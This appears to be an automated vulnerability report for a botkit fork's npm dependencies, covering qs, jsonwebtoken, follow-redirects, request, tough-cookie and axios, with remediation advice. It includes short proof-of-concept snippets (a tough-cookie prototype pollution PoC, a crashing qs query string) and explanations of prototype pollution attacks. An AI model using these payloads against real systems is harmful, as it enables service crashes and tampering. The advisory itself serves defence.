  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
    Remediation: Upgrade to ciscospark@1.28.4.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-logger@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
    Remediation: Upgrade to ciscospark@1.28.4.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-people@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
    Remediation: Upgrade to ciscospark@1.28.4.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
    Remediation: Upgrade to ciscospark@1.28.4.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/storage-adapter-local-storage@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
    Remediation: Upgrade to ciscospark@1.28.4.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD twilio@2.11.1 request@2.74.0 qs@6.2.6

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Uncaught Exception in the isBuffer() function in lib/utils.js, which calls obj.constructor.isBuffer(obj) without checking that it is callable, reached from stringify() at lib/stringify.js:127. An attacker can throw an uncaught TypeError that fails each request with HTTP 500, and terminates the worker process when stringify() runs in an unguarded async context, by supplying a query string such as x[constructor][isBuffer]=y that sets constructor.isBuffer to a non-function value. This requires the application to call qs.parse() with plainObjects: true or allowPrototypes: true, which preserves the constructor own property, and to then pass the parsed result to qs.stringify().

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade qs to version 6.16.0 or higher.

References

medium severity

Use of a Broken or Risky Cryptographic Algorithm

  • Vulnerable module: jsonwebtoken
  • Introduced through: botbuilder@3.30.0 and twilio@2.11.1

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD botbuilder@3.30.0 jsonwebtoken@8.5.1
    Remediation: Upgrade to botbuilder@4.0.6.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD twilio@2.11.1 jsonwebtoken@5.4.1
    Remediation: Upgrade to twilio@4.0.0.

Overview

jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)

Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm such that the library can be misconfigured to use legacy, insecure key types for signature verification. For example, DSA keys could be used with the RS256 algorithm.

Exploitability

Users are affected when using an algorithm and a key type other than the combinations mentioned below:

EC: ES256, ES384, ES512

RSA: RS256, RS384, RS512, PS256, PS384, PS512

RSA-PSS: PS256, PS384, PS512

And for Elliptic Curve algorithms:

ES256: prime256v1

ES384: secp384r1

ES512: secp521r1

Workaround

Users who are unable to upgrade to the fixed version can use the allowInvalidAsymmetricKeyTypes option to true in the sign() and verify() functions to continue usage of invalid key type/algorithm combination in 9.0.0 for legacy compatibility.

Remediation

Upgrade jsonwebtoken to version 9.0.0 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: follow-redirects
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0 follow-redirects@1.5.10
    Remediation: Upgrade to localtunnel@2.0.1.

Overview

Affected versions of this package are vulnerable to Information Exposure due to the handling of the Proxy-Authorization header across hosts. When using a dependent library, it only clears the authorization header during cross-domain redirects but allows the proxy-authentication header, which contains credentials, to persist. This behavior may lead to the unintended leakage of credentials if an attacker can trigger a cross-domain redirect and capture the persistent proxy-authentication header.

PoC

const axios = require('axios');

axios.get('http://127.0.0.1:10081/',{
headers: {
'AuThorization': 'Rear Test',
'ProXy-AuthoriZation': 'Rear Test',
'coOkie': 't=1'
}
}).then(function (response) {
console.log(response);
})

Remediation

Upgrade follow-redirects to version 1.15.6 or higher.

References

medium severity

Improper Restriction of Security Token Assignment

  • Vulnerable module: jsonwebtoken
  • Introduced through: botbuilder@3.30.0 and twilio@2.11.1

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD botbuilder@3.30.0 jsonwebtoken@8.5.1
    Remediation: Upgrade to botbuilder@4.0.6.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD twilio@2.11.1 jsonwebtoken@5.4.1
    Remediation: Upgrade to twilio@4.0.0.

Overview

jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)

Affected versions of this package are vulnerable to Improper Restriction of Security Token Assignment via the secretOrPublicKey argument due to misconfigurations of the key retrieval function jwt.verify(). Exploiting this vulnerability might result in incorrect verification of forged tokens when tokens signed with an asymmetric public key could be verified with a symmetric HS256 algorithm.

Note: This vulnerability affects your application if it supports the usage of both symmetric and asymmetric keys in jwt.verify() implementation with the same key retrieval function.

Remediation

Upgrade jsonwebtoken to version 9.0.0 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: request
  • Introduced through: request@2.88.2, botbuilder@3.30.0 and others

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD request@2.88.2
  • Introduced through: botkit@christopheraparicio/botkit#HEAD botbuilder@3.30.0 request@2.88.2
  • Introduced through: botkit@christopheraparicio/botkit#HEAD botkit-studio-sdk@1.0.9 request@2.88.2
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-logger@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-people@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/storage-adapter-local-storage@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2
  • Introduced through: botkit@christopheraparicio/botkit#HEAD twilio@2.11.1 request@2.74.0

Overview

request is a simplified http request client.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

Prototype Pollution

  • Vulnerable module: tough-cookie
  • Introduced through: request@2.88.2, botbuilder@3.30.0 and others

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD request@2.88.2 tough-cookie@2.5.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD botbuilder@3.30.0 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD botkit-studio-sdk@1.0.9 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-logger@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-people@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/storage-adapter-local-storage@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD twilio@2.11.1 request@2.74.0 tough-cookie@2.3.4

Overview

tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.

Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.

PoC

// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
  "Slonser=polluted; Domain=__proto__; Path=/notauth",
  "https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
  "Auth=Lol; Domain=google.com; Path=/notauth",
  "https://google.com/"
);

//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade tough-cookie to version 4.1.3 or higher.

References

medium severity

Improper Authentication

  • Vulnerable module: jsonwebtoken
  • Introduced through: botbuilder@3.30.0 and twilio@2.11.1

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD botbuilder@3.30.0 jsonwebtoken@8.5.1
    Remediation: Upgrade to botbuilder@4.0.6.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD twilio@2.11.1 jsonwebtoken@5.4.1
    Remediation: Upgrade to twilio@4.0.0.

Overview

jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)

Affected versions of this package are vulnerable to Improper Authentication such that the lack of algorithm definition in the jwt.verify() function can lead to signature validation bypass due to defaulting to the none algorithm for signature verification.

Exploitability

Users are affected only if all of the following conditions are true for the jwt.verify() function:

  1. A token with no signature is received.

  2. No algorithms are specified.

  3. A falsy (e.g., null, false, undefined) secret or key is passed.

Remediation

Upgrade jsonwebtoken to version 9.0.0 or higher.

References

medium severity

Improper Encoding or Escaping of Output

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output through the encode function in AxiosURLSearchParams. An attacker can smuggle a NUL byte into serialized query strings by supplying crafted parameter values, causing downstream parsers or backend components to misinterpret the request and potentially truncate or alter parameter handling.

Notes: Standard axios request flow (buildURL) uses its own encode function, which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeDirectKeys function in mergeConfig. An attacker can force a request configuration to inherit attacker-controlled properties by supplying a polluted Object.prototype, causing Axios to read inherited values, such as validateStatus, during config merging. This lets a malicious page or library alter how responses are handled, including making 4xx and 5xx responses be treated as successful and bypassing normal error handling in applications that rely on Axios defaults.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via polluted Object.prototype properties in the merge process. An attacker can inject arbitrary HTTP headers into outbound requests or cause synchronous application crashes by manipulating upstream dependencies to pollute prototype attributes, leading to header injection or denial of service conditions.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

